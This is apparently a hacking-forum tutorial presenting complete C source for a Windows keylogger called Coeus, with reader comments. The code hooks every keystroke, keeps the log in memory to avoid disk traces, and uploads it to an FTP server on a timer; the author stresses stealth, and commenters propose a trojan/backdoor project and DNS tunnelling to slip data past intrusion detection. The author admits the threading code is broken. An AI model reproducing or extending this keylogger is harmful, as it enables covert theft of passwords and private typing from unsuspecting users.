Windows Keylogging - Part II

Disclaimer: The synchronisation code is broken since it was written when I had very little knowledge of how it worked.

Following from my previous paper, Windows Keylogging - Part I, I will be showcasing and explaining an example implementation of a Windows keylogger named Coeus, after the titan Coeus of Greek mythology, who represents intelligence. Note that this is one possible implementation and is not necessarily the best. To properly understand the paper, it is highly recommended that the reader look over the implementation of a basic keylogger using a keyboard hook (which I have detailed in the previous part) and also its prerequisites which include:

Proficiency in C/C++
Knowledge of the WinAPI and its documentation
Knowledge of Windows messages and message queues
Knowledge of Windows hooks
Recommended knowledge of multi-threading
Recommended knowledge of Mutual Exclusions
Recommended knowledge of FTP

Disclaimer: This paper is not a how-to on making malware, rather it is a report on my research from self-study and experimentation on malware and Windows internals. As a consequence, I apologize in advance for any incorrect information which may be provided. If there is any feedback on this, please leave a reply or private message me and I will address it as soon as possible.

Also any apologies if my code (especially the multithreading) is terrible. Not all hackers are the best programmers.


Keylogging Functionality

Recall that the most basic of keyloggers should record the keystrokes as analyzed in the previous paper. For my implementation, some extra functionality will be included to make it more plausible and effective in doing its job in the outside world. As a natural result, the code will be slightly more advanced than what was already covered. The features of the keylogger are as follows:

Threaded keystroke logging using Windows hooks
Threaded keystroke uploads using FTP
Zero disk activity

Using Windows hooks to capture keystrokes is a common method utilized by many existing keyloggers. A reason why it may be is because it takes advantage of threading and events which makes it efficient in the aspect of CPU consumption. Another, with regards to malware, many legitimate programs could also implement this function to achieve their own goals.

A vital problem with older generations of malware is that they write the keystrokes to disk and because of this, it generates some noise when doing so which could lead to its undoing. One way to combat this weakness is to directly process all keystrokes within memory and push them out through the network. Of course, this does have its downsides. If the program is always constantly sending the keystrokes out, it will become suspicious however, the rate at which this happens can be controlled to some extent.


Coding the Keylogger

Before we see any of the code in the functions, let me introduce the headers, macros and global variable declarations.

#include <stdio.h>
#include <string.h>
#include <Windows.h>
#include <WinInet.h>
#include <ShlObj.h>

#pragma comment(lib, "WININET")

#define DEBUG

#define NAME "Coeus"

// FTP settings
#define FTP_SERVER "127.0.0.1"
#define FTP_USERNAME "dtm"
#define FTP_PASSWORD "mySup3rSecr3tPassw0rd"
#define FTP_LOG_PATH "Coeus_Log.txt"

#define MAX_LOG_SIZE 4096
#define BUF_SIZ 1024
#define BUF_LEN 1
#define MAX_VALUE_NAME 16383

#define ONE_SECOND 1000
#define ONE_MINUTE ONE_SECOND * 60
#define TIMEOUT ONE_MINUTE * 1 // minutes

// global handle to hook
HHOOK ghHook = NULL;
// global handle to mutex
HANDLE ghMutex = NULL;

// global handle to log heap
HANDLE ghLogHeap = NULL;
// global string pointer to log buffer
LPSTR lpLogBuf = NULL;
// current max size of log buffer
DWORD dwLogBufSize = 0;

// global handle to temporary buffer heap
HANDLE ghTempHeap = NULL;
// global handle to temporary buffer
LPSTR lpTempBuf = NULL;

// multithreading objects
HANDLE hTempBufHasData = NULL;
HANDLE hTempBufNoData = NULL;

Global variables aren’t really a nice method of doing things however, for the sake of simplicity of using variables across multiple threads, this was one of the options I chose. Most of these variables are just handles to the two buffers which are used with the multithreading, for example, lpLogBuf is the pointer to the buffer which contains the keystrokes and lpTempBuf is the pointer to the buffer which contains the data to be uploaded to the FTP server. The two multithreading objects hTempBufHasData and hTempBufNoData are used to signal whether the temporary buffer (upload buffer) has or has no data to upload, respectively.

So now let’s take a look at the main function.


main

The following is the pseudocode of the WinMain function.

Main
1. Create mutex to prevent more than one instance
2. Create two buffers, one to hold the keystrokes, one to upload the keystrokes
3. Initialize two events for the two buffers with multithreading
4. Start a thread to upload the keystrokes
5. Create the keyboard hook
6. Enter message loop to process keystrokes

Here is the code for the main function. We declare it with WinMain for a Windows GUI application which shows no window since there is no actual GUI code nor does it show a console since it is not a console application. In this function, we are needed to set up all the variables and other objects for the program to work, then simply enter an infinite loop to capture keystrokes.

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPCSTR lpCmdLine, int nCmdShow) {
    // mutex to prevent other keylog instances
    ghMutex = CreateMutex(NULL, TRUE, NAME);
    if (ghMutex == NULL) {
        Fatal("Create mutex");
    }
    if (GetLastError() == ERROR_ALREADY_EXISTS) {
        Fatal("Mutex already exists");
        ExitProcess(1);
    }

    // declare handle cleaner on exit
    atexit(CleanUp);

    // allocate heap buffer
    ghLogHeap = HeapCreate(0, BUF_SIZ + 1, 0);
    if (ghLogHeap == NULL) {
        Fatal("Heap create");
    }

    lpLogBuf = (LPSTR)HeapAlloc(ghLogHeap, HEAP_ZERO_MEMORY, BUF_SIZ + 1);
    if (lpLogBuf == NULL) {
        Fatal("Heap alloc");
    }
    dwLogBufSize = BUF_SIZ + 1;

    ghTempHeap = HeapCreate(0, dwLogBufSize, 0);
    if (ghTempHeap == NULL) {
        Fatal("Temp heap create");
    }

    lpTempBuf = (LPSTR)HeapAlloc(ghTempHeap, HEAP_ZERO_MEMORY, dwLogBufSize);
    if (lpTempBuf == NULL) {
        Fatal("Temp heap alloc");
    }

    // multithreading set up
    hTempBufHasData = CreateEvent(NULL, TRUE, FALSE, NULL);
    hTempBufNoData = CreateEvent(NULL, TRUE, TRUE, NULL);

    // create thread to send log file to ftp server
    if (CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FTPSend, NULL, 0, NULL) == NULL) {
        Fatal("Create thread");
    }

    // set keyboard hooking subroutine
    ghHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
    if (ghHook == NULL) {
        Fatal("Failed to set keyboard hook");
    }

    MSG msg;
    while (GetMessage(&msg, 0, 0, 0) != 0) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);    
    }

    UnhookWindowsHookEx(ghHook);

    return 0;
}

We require a mutex to prevent duplicate instances being run at the same time. Once we’ve done that, we can initialize the two heaps for our two buffers and the multithreading objects. The lpTempBuf buffer obviously starts with no data so we create the hTempBufNoData initial state as TRUE and the hTempBufHasData with FALSE. We’ll then create the thread for the FTP uploading routine and then set a hook on keyboard messages. Once we’ve set up everything we require, we place the main function in a message loop to retrieve keystrokes. To capture the keystrokes, we need to set up our LowLevelKeyboardProc function accordingly.


LowLevelKeyboardProc

The following is the pseudocode of the LowLevelKeyboardProc function.

LowLevelKeyboardProc
1. Check if message is a keyboard message
2. Check if key is either pressed or held
3. Parse virtual key code
4. Append the keystroke to the buffer
5. Wait until the upload buffer is empty (already uploaded) if the keystroke buffer is full
6. Else if upload buffer is not ready, skip and end the function
7. If upload buffer is ready, copy keystroke buffer to the upload buffer
8. Signal FTP routine that there is data to upload
9. Zero the keystroke buffer
10. End the function

This function is declared as the CALLBACK function to process the keystrokes provided by the hook. To record the keystrokes, we need to do some parsing of virtual key codes and some formatting of special keys.

// callback function when key is pressed
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    // wParam and lParam have info about keyboard message
    if (nCode == HC_ACTION) {
        KBDLLHOOKSTRUCT *kbd = (KBDLLHOOKSTRUCT *)lParam;
        // if key is pressed or held
        if (wParam == WM_KEYDOWN) {
            // get string length of log buffer
            DWORD dwLogBufLen = strlen(lpLogBuf);

            // copy vkCode into log buffer
            CHAR key[2];
            DWORD vkCode = kbd->vkCode;
            // key is 0 - 9
            if (vkCode >= 0x30 && vkCode <= 0x39) {
                // shift key
                if (GetAsyncKeyState(VK_SHIFT)) {
                    switch (vkCode) {
                        case 0x30:
                            Log(")");
                            break;
                        case 0x31:
                            Log("!");
                            break;
                        case 0x32:
                            Log("@");
                            break;
                        case 0x33:
                            Log("#");
                            break;
                        case 0x34:
                            Log("$");
                            break;
                        case 0x35:
                            Log("%");
                            break;
                        case 0x36:
                            Log("^");
                            break;
                        case 0x37:
                            Log("&");
                            break;
                        case 0x38:
                            Log("*");
                            break;
                        case 0x39:
                            Log("(");
                            break;
                    }
                    // no shift key
                } else {
                    sprintf(key, "%c", vkCode);
                    Log(key);
                }
                // key is a - z
            } else if (vkCode >= 0x41 && vkCode <= 0x5A) {
                // if lowercase
                if (GetAsyncKeyState(VK_SHIFT) ^ ((GetKeyState(VK_CAPITAL) & 0x0001)) == FALSE)
                    vkCode += 32;
                sprintf(key, "%c", vkCode);
                Log(key);
            // all other keys
            } else {
                switch (vkCode) {
                    case VK_CANCEL:
                        Log("[CANCEL]");
                        break;
                    case VK_BACK:
                        Log("[BACKSPACE]");
                        break;
                    case VK_TAB:
                        Log("[TAB]");
                        break;
                    case VK_CLEAR:
                        Log("[CLEAR]");
                        break;
                    case VK_RETURN:
                        Log("[ENTER]");
                        break;
                    case VK_CONTROL:
                        Log("[CTRL]");
                        break;
                    case VK_MENU:
                        Log("[ALT]");
                        break;
                    case VK_PAUSE:
                        Log("[PAUSE]");
                        break;
                    case VK_CAPITAL:
                        Log("[CAPS LOCK]");
                        break;
                    case VK_ESCAPE:
                        Log("[ESC]");
                        break;
                    case VK_SPACE:
                        Log("[SPACE]");
                        break;
                    case VK_PRIOR:
                        Log("[PAGE UP]");
                        break;
                    case VK_NEXT:
                        Log("[PAGE DOWN]");
                        break;
                    case VK_END:
                        Log("[END]");
                        break;
                    case VK_HOME:
                        Log("[HOME]");
                        break;
                    case VK_LEFT:
                        Log("[LEFT ARROW]");
                        break;
                    case VK_UP:
                        Log("[UP ARROW]");
                        break;
                    case VK_RIGHT:
                        Log("[RIGHT ARROW]");
                        break;
                    case VK_DOWN:
                        Log("[DOWN ARROW]");
                        break;
                    case VK_INSERT:
                        Log("[INS]");
                        break;
                    case VK_DELETE:
                        Log("[DEL]");
                        break;
                    case VK_NUMPAD0:
                        Log("[NUMPAD 0]");
                        break;
                    case VK_NUMPAD1:
                        Log("[NUMPAD 1]");
                        break;
                    case VK_NUMPAD2:
                        Log("[NUMPAD 2]");
                        break;
                    case VK_NUMPAD3:
                        Log("[NUMPAD 3");
                        break;
                    case VK_NUMPAD4:
                        Log("[NUMPAD 4]");
                        break;
                    case VK_NUMPAD5:
                        Log("[NUMPAD 5]");
                        break;
                    case VK_NUMPAD6:
                        Log("[NUMPAD 6]");
                        break;
                    case VK_NUMPAD7:
                        Log("[NUMPAD 7]");
                        break;
                    case VK_NUMPAD8:
                        Log("[NUMPAD 8]");
                        break;
                    case VK_NUMPAD9:
                        Log("[NUMPAD 9]");
                        break;
                    case VK_MULTIPLY:
                        Log("[*]");
                        break;
                    case VK_ADD:
                        Log("[+]");
                        break;
                    case VK_SUBTRACT:
                        Log("[-]");
                        break;
                    case VK_DECIMAL:
                        Log("[.]");
                        break;
                    case VK_DIVIDE:
                        Log("[/]");
                        break;
                    case VK_F1:
                        Log("[F1]");
                        break;
                    case VK_F2:
                        Log("[F2]");
                        break;
                    case VK_F3:
                        Log("[F3]");
                        break;
                    case VK_F4:
                        Log("[F4]");
                        break;
                    case VK_F5:
                        Log("[F5]");
                        break;
                    case VK_F6:
                        Log("[F6]");
                        break;
                    case VK_F7:
                        Log("[F7]");
                        break;
                    case VK_F8:
                        Log("[F8]");
                        break;
                    case VK_F9:
                        Log("[F9]");
                        break;
                    case VK_F10:
                        Log("[F10]");
                        break;
                    case VK_F11:
                        Log("[F11]");
                        break;
                    case VK_F12:
                        Log("[F12]");
                        break;
                    case VK_NUMLOCK:
                        Log("[NUM LOCK]");
                        break;
                    case VK_SCROLL:
                        Log("[SCROLL LOCK]");
                        break;
                    case VK_OEM_PLUS:
                        GetAsyncKeyState(VK_SHIFT) ? Log("+") : Log("=");
                        break;
                    case VK_OEM_COMMA:
                        GetAsyncKeyState(VK_SHIFT) ? Log("<") : Log(",");
                        break;
                    case VK_OEM_MINUS:
                        GetAsyncKeyState(VK_SHIFT) ? Log("_") : Log("-");
                        break;
                    case VK_OEM_PERIOD:
                        GetAsyncKeyState(VK_SHIFT) ? Log(">") : Log(".");
                        break;
                    case VK_OEM_1:
                        GetAsyncKeyState(VK_SHIFT) ? Log(":") : Log(";");
                        break;
                    case VK_OEM_2:
                        GetAsyncKeyState(VK_SHIFT) ? Log("?") : Log("/");
                        break;
                    case VK_OEM_3:
                        GetAsyncKeyState(VK_SHIFT) ? Log("~") : Log("`");
                        break;
                    case VK_OEM_4:
                        GetAsyncKeyState(VK_SHIFT) ? Log("{") : Log("[");
                        break;
                    case VK_OEM_5:
                        GetAsyncKeyState(VK_SHIFT) ? Log("|") : Log("\\");
                        break;
                    case VK_OEM_6:
                        GetAsyncKeyState(VK_SHIFT) ? Log("}") : Log("]");
                        break;
                    case VK_OEM_7:
                        GetAsyncKeyState(VK_SHIFT) ? Log("\"") : Log("'");
                        break;
                }
            }

            // wait until upload buffer is ready
            // if log buffer is at max size, wait until upload is ready
            if (dwLogBufLen == MAX_LOG_SIZE - 1)
                WaitForSingleObject(hTempBufNoData, INFINITE);
            else
                // otherwise, wait for 500 ms 
                if (WaitForSingleObject(hTempBufNoData, 0) == WAIT_TIMEOUT)
                    // ignore if timed out
                    return CallNextHookEx(0, nCode, wParam, lParam);

            // write out to separate buffer
            strcpy(lpTempBuf, lpLogBuf);
            // reset event 
            ResetEvent(hTempBufNoData);
            // signal ftp upload
            SetEvent(hTempBufHasData);

            // reset log buffer size
            ZeroMemory(lpLogBuf, dwLogBufSize);
        }
    }

    return CallNextHookEx(0, nCode, wParam, lParam);
}

This function is quite lengthy, purely because of the need to properly parse and format the recorded keystroke. There is a lot of hard coding involved to check the given virtual key code provided by the lParam parameter. In summary, switch cases are used to provide the corresponding character with a virtual key code which must be checked against the SHIFT key to see if any alternate keystrokes were used. For special keys such as Enter and Caps Lock, formatting is needed so that a label is recorded in place of the actual character. Of course, this is just my implementation of the formatting and by all means, it is entirely possible to have the raw character instead of a representative label.

After all of that has been processed, the keystrokes in the keystroke buffer must be moved into the temporary buffer for uploading. The keystroke buffer needs to be checked first before it can move on to new keystroke input. To make sure that it is always available, an infinite wait state is entered until the temporary buffer is available. When the wait state is unlocked, it will move the data in the keystroke buffer to the temporary buffer and signal for uploading, then zero out the memory for space for new keystrokes. Otherwise, it will enter a wait state which will immediately time out if the temporary buffer is not yet available and continue on.


FTPSend

The following is the pseudocode for the FTPSend function.

FTPSend
1. Sleep for a specified timeout period
2. Signal that the upload buffer has no data to upload
3. Wait until data has been placed into the upload buffer and is signaled
4. Initialize an FTP internet connection
5. Send an FTP append command to append the data in the upload buffer
6. Write the data to the remote file
7. Close connection and repeat indefinitely

A method to prevent disk activity on the target machine is to directly transfer the data over the web. The following code snippet shows how this can be done.

VOID FTPSend(VOID) {
    while (TRUE) {
        // wait until upload buffer has new data
        Sleep(TIMEOUT);
        SetEvent(hTempBufNoData);
        WaitForSingleObject(hTempBufHasData, INFINITE);

        HINTERNET hINet = InternetOpen(NAME, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_PASSIVE);
        if (hINet == NULL)
            continue;

        HINTERNET hFTP = InternetConnect(hINet, FTP_SERVER, INTERNET_DEFAULT_FTP_PORT, FTP_USERNAME, FTP_PASSWORD, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, NULL);
        if (hFTP == NULL) {
            InternetCloseHandle(hINet);
            continue;
        }

        HINTERNET hFTPFile;
        CHAR szTemp[256];
        // FTP append command
        sprintf(szTemp, "APPE %s", FTP_LOG_PATH);
        BOOL bSuccess = FtpCommand(hFTP, TRUE, FTP_TRANSFER_TYPE_ASCII, szTemp, 0, &hFTPFile);
        if (bSuccess == FALSE) {
            InternetCloseHandle(hFTP);
            InternetCloseHandle(hINet);
            continue;
        }

        DWORD dwWritten = 0;
        bSuccess = InternetWriteFile(hFTPFile, lpTempBuf, strlen(lpTempBuf), &dwWritten);
        if (bSuccess == FALSE) {
            InternetCloseHandle(hFTP);
            InternetCloseHandle(hINet);
            continue;
        }

        InternetCloseHandle(hFTPFile);
        InternetCloseHandle(hFTP);
        InternetCloseHandle(hINet);
        ResetEvent(hTempBufHasData);
        //SetEvent(hTempBufNoData);
    }

    ExitThread(0);
}

There’s probably a more efficient way to do this but this is how I did it. I didn’t want to keep the handle to the FTP server because that would probably mean that the process would maintain an connection with the remote server which is not as stealthy. Inside this infinite loop, it Sleeps a specified timeout value TIMEOUT before doing anything else to try to limit the rate of connections. It will then signal that its temporary buffer has no data to upload and then enter an infinite wait state until the data in the keystroke buffer has transferred its content over. After this has been achieved, it will open an FTP internet connection and then authenticate with the server using the defined credentials. To write the keystrokes to the server, it will issue an APPE (append) command to the specified file location and begin writing. Once this is done, it will proceed to close the connection and repeat.

While writing this, I’ve realized that I should probably signal the no data object first before Sleeping. I’ll keep it like so for now since I don’t want to accidentally break the code.

Conclusion

That’s pretty much it for the showcasing of my code. If there are any errors or concerns, please don’t hesitate to contact me and I will try to handle it ASAP. Thanks for reading and hope you’ve learned something from this.

Appendix

Other functions not mentioned:

// error message handler function
VOID Fatal(LPCSTR s) {
#ifdef DEBUG
    CHAR err_buf[BUF_SIZ];

    sprintf(err_buf, "%s failed: %lu", s, GetLastError());
    MessageBox(NULL, err_buf, NAME, MB_OK | MB_SYSTEMMODAL | MB_ICONERROR);
#endif

    ExitProcess(1);
}

// clean up function on exit
VOID CleanUp(VOID) {
    if (lpLogBuf && ghLogHeap) {
        HeapFree(ghLogHeap, 0, lpLogBuf);
        HeapDestroy(ghLogHeap);
    }
    if (ghHook) UnhookWindowsHookEx(ghHook);
    if (ghMutex) CloseHandle(ghMutex);
    if (lpTempBuf && ghTempHeap) {
        HeapFree(ghTempHeap, 0, lpTempBuf);
        HeapDestroy(ghTempHeap);
    }
}
12 Likes

Awesome tutorial man, like always well written.
I’m thinking of diving in the WinAPI once again.
:+1:

2 Likes

To be honest, there’s probably a thousand bugs with the multithreading, but I’m not too motivated to fix this. I’m also keen for anyone interested in helping me develop a Win32 trojan/backdoor so if you’re interested, hit me up.

1 Like

Yes I’m interested, I’ll have to finish this homework and then I’ll have time later today.
Will you be online in a few hours?

How long is a few hours? Also, I’m not planning to start the project so soon. Will probably need more people on this.

Alright, let’s try to find some people interested. In the mean time I’ll try to get to know the WinAPI better.

I’ve been messing around with keyloggers lately. Great tutorial but I admit this isn’t exactly my style of a keylogger. I’ve found a keylogger code that utilizes a batch script and C code, but to hide the batch window the creator utilizes a vbs script. Pretty much the batch script uploads the keystroke that are saved to a file. I find this method much more easier and it is interesting. I’ve just started messing around with winAPI. My question is, if I wanted to improve the code how would I go about it?

Yes, there are many different ways of creating keyloggers however, some methods are better than others in certain aspects. For example, it is much easier using your method but it involves a lot of dependency with other files and because of this, it might cause some issues if you end up failing to access certain files or if some of the files fail to work unexpectedly and it’s much more of a hassle to deal with multiple files rather than one. Also, having or creating many files (especially your file containing the keystrokes) tend to leave lot of forensic evidence and footprints.

With regards to your question, which code are you wanting to improve? Mine or yours?

2 Likes

Awesome, as someone who is learning C/C++ I can say I’m happy that i understand at least a little bit of that code. :stuck_out_tongue: I could use nullptr instead of NULL correct?

EDIT: I got NULL and nullptr mixed up lol.

@Fust3rCluck: nullptr is a C++ thing. I believe that @dtm is using C.

1 Like

Thanks and I got nullptr and NULL mixed up actually.

nullptr is more or less just a typedef. You could use NULL every single time in C++, if you wanted to do so. nullptr was introduced simply to make intentions appear more clear.

1 Like

I guess mine that I want to improve.

Well I don’t know the specifics of the procedures but you can start by doing something about some of the issues I’ve mentioned above.

1 Like

Thank you very much for the help.

Awesome Awesome Awesome tutorial man. Your first keylogging tutorial gave anybody looking All the means they needed to get the job done and was very well informed as well. You could have just written this and held onto it but instead decided to share it and explain it, though the code is pretty self explanatory imho… but good code should be haha.

If you don’t mind my asking, how much of this did you actually write on your own? Nearly Zero % is a fine answer here, since from the tutorial and your explanation it’s obvious you understand it, and that’s all that really matters when coding really. As Eric Raymond said in the popular computer science book The Cathedral and the Bazaar, “Good programmers know what to write. Great ones know what to rewrite & reuse”… sometimes also said “good programmers write good code; great programmers steal great code” hahaha.

Anyways, I’m loving these tutorials. Keep em coming. And I wouldn’t mind getting in touch with you and developing some fun projects. I think this (or any virus/exfiltration over the wire really) would be really fun/interesting to try to tunnel the data out via DNS, as DNS is never blocked by IPS/IDS and is hardly ever scrutinized/monitored either. I may look into doing that using this code and extend this series haha… Though obviously this could be extended to all Sorts of ideas, but in general my first thought was to do whatever’s necessary to remove the FTP credentials from the binary itself, as to not be reversed by someone at a later date. Keep 'em comin man! Thx!

1 Like

Actually, most of this code was developed by me. I did however, reference some of the virtual key code mappings and concatenation from Code Review on Stack Exchange.

As for the credentials, yes it is a problem. One way to “solve” this issue is by encrypting the strings so that it makes it harder for the reverse engineering to find them but let’s face it, it’s not that hard to break just before the FTP write function call and then pulling the decrypted data off the stack. The emailing method is a possible solution as well but I wasn’t bothered coding that in C.

I’m actually doing a collaborated project right now (if you didn’t see from above comments). I will private message you and the others about the details.

2 Likes

This topic was automatically closed after 30 days. New replies are no longer allowed.